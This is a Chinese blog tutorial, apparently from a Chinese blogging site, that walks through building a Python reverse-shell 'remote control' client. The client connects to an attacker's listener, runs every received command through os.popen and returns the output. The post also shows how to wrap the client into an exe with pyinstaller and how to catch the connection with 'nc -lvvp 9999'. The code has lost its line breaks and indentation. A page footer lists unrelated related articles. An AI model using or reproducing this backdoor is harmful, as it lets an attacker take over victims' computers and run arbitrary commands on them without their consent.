1、远控攻击思路:

首先服务端开启监听,远控脚本以客户端的形式运行在被控电脑(脚本的套接字为服务器监听ip、端口),建立socket连接后,服务端可以控制客户端电脑执行命令。

2、客户端脚本编写:

第一步,建立socket连接,传输消息

第二步,消息传入os.system(),当作命令执行

第三步,执行结果返回服务器

代码如下(更改服务器ip端口)

import os
import socket
def clinet():sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect(('*.*.*.*',****))  # 指定服务器的ip和端口号sock.send(b"I'm coming\n")  # 发送数据while True:d = sock.recv(1024)if d:data = '' + str(d,encoding="utf-8")else:breaktry:d = os.popen(data)sock.send(d.read().encode("utf8"))except:pass
if __name__ == '__main__':clinet()

3、利用:

将脚本封装exe,可用pyinstaller,封装好的exe文件运行测试一下

服务器开启监听:

nc -lvvp 9999

本地运行exe 文件:

运行dir查看目录,再调起计算器,测试结果如下:

python 远程控制实例相关推荐

  1. android 远程控制实例(基于Socket通信)

    通过android实现远程控制,主要用于智能家具控制.本案例是实现编写客户端负责发送内容.服务器端用来接收内容的程序. android 远程控制实例文件:url80.ctfile.com/f/2512 ...

  2. 用python实现视频换脸_超简单使用Python换脸实例

    换脸! 这段时间,deepfakes搞得火热,比方说把<射雕英雄传>里的朱茵换成了杨幂,看下面的图!毫无违和感! 其实早在之前,基于AI换脸的技术就得到了应用,比方说<速度与激情7& ...

  3. python简单编程例子-python简单实例训练(21~30)

    注意:我用的python2.7,大家如果用Python3.0以上的版本,请记得在print()函数哦!如果因为版本问题评论的,不做回复哦!! 21.题目:将一个正整数分解质因数.例如:输入90,打印出 ...

  4. python脚本实例手机端-python链接手机用Python实现命令行闹钟脚本实例

    前言: 这篇文章给大家介绍了怎样用python创建一个简单的报警,它可以运行在命令行终端,它需要分钟做为命令行参数,在这个分钟后会打印"wake-up"消息,并响铃报警,你可以用0 ...

  5. python爬虫实例-记录一次简单的Python爬虫实例

    本次的这篇文章主要是和大家分享了一篇关于记录一次简单的Python爬虫实例 ,有需要的小伙伴可以看一下. 主要流程分为: 爬取.整理.存储 1.其中用到几个包,包括 requests 用于向网站发送请 ...

  6. python经典案例-Python经典实例

    本书是Python经典实例解析,采用基于实例的方法编写,每个实例都会解决具体的问题和难题.主要内容有:数字.字符串和元组,语句与语法,函数定义,列表.集.字典,用户输入和输出等内置数据结构,类和对象, ...

  7. python程序格式框架的描述_python 程序语言设计(嵩天)-学习笔记(第二章python 程序实例解析)...

    第 2 章 python 程序实例解析 学习目标: 掌握解决计算问题的一般方法. 掌握python语言的基本语法,包括缩进.变量.命名等. 掌握python语言绘制图形的一般方法. 了解python标 ...

  8. 涵盖 14 大主题!最完整的 Python 学习实例集来了!

    机器学习.深度学习最简单的入门方式就是基于 Python 开始编程实战.最近闲逛 GitHub,发现了一个非常不错的 Python 学习实例集,完全是基于 Python 来实现包括 ML.DL 等领域 ...

  9. python组成不重复的三位数是多少_超星Python 练习实例1-组成多少个互不相同且无重复的三位数字...

    数字:1.2.3.4,能组成多少个互不相同且无重复数字的三位数?各是多少? 程序分析:可填在百位.十位.个位的数字都是1.2.3.4.组成所有的排列后再去 掉不满足条件的排列. 程序源代码: #!/u ...

最新文章

  1. 一篇叫做决心书的文章
  2. C 语言编程 — 高级数据类型 — 数组
  3. 第十八讲 傅里叶变换
  4. Function ALV可编辑列修改数据后与与内表数据同步问题
  5. AdvFlow:一种基于标准化流的黑盒攻击新方法,产生更难被发觉的对抗样本 | NeurIPS‘20
  6. switch日版有中文吗_任天堂switch国行和日版的区别
  7. parted如何将磁盘所有空间格式化_linux下大于2T的硬盘格式化问题
  8. Cloud for Customer里的Shell menu manager
  9. [HAOI2016]食物链
  10. java contains 通配符_java 泛型通配符 extends, super
  11. 关于C的函数指针总结
  12. 位结构体+大小端模式
  13. linux桌面共享编程,Remmina:一个Linux下功能丰富的远程桌面共享工具
  14. office文档转换为html,OFFICE 文档转换为html在线预览
  15. C语言学习(十)C语言中的小数
  16. python getch_macOS 下的 getch()
  17. 深造分布式 打败面试官 招式二 新手上路
  18. 【MATLAB-app】如何使用键盘回调以及在app设计中应用
  19. 【2020-10-27】 scrapy爬虫之猎聘招聘信息爬取
  20. 14.【opencv打开视频以及摄像头】

热门文章

  1. IP-GUARD如何禁止除了银行UKEY设备外的其他USB设备?
  2. 用VMware Converter实现Esxi5.0到Esxi6.0主机上的虚拟机迁移(V2V)
  3. 计算方法的稳定性 | 误差来源之舍入误差 | 数值计算基本原则
  4. 足球俱乐部介绍——拜仁慕尼黑
  5. Android进阶(二十六)MenuInflater实现菜单添加
  6. 模拟退火算法 python实现旅行家问题
  7. 冈萨雷斯数字图像处理——彩色图像增强3实例
  8. html图片长高如何设置,科学增高法,简单6个拉伸动作,两个月至少长高5厘米,...
  9. 如何在Mercurial中编辑错误的提交消息? [重复]
  10. 《操作系统真象还原》第十五章 ---- 实现系统交互 操作系统最终章 四十五天的不易与坚持终完结撒花 (下)(遗憾告终)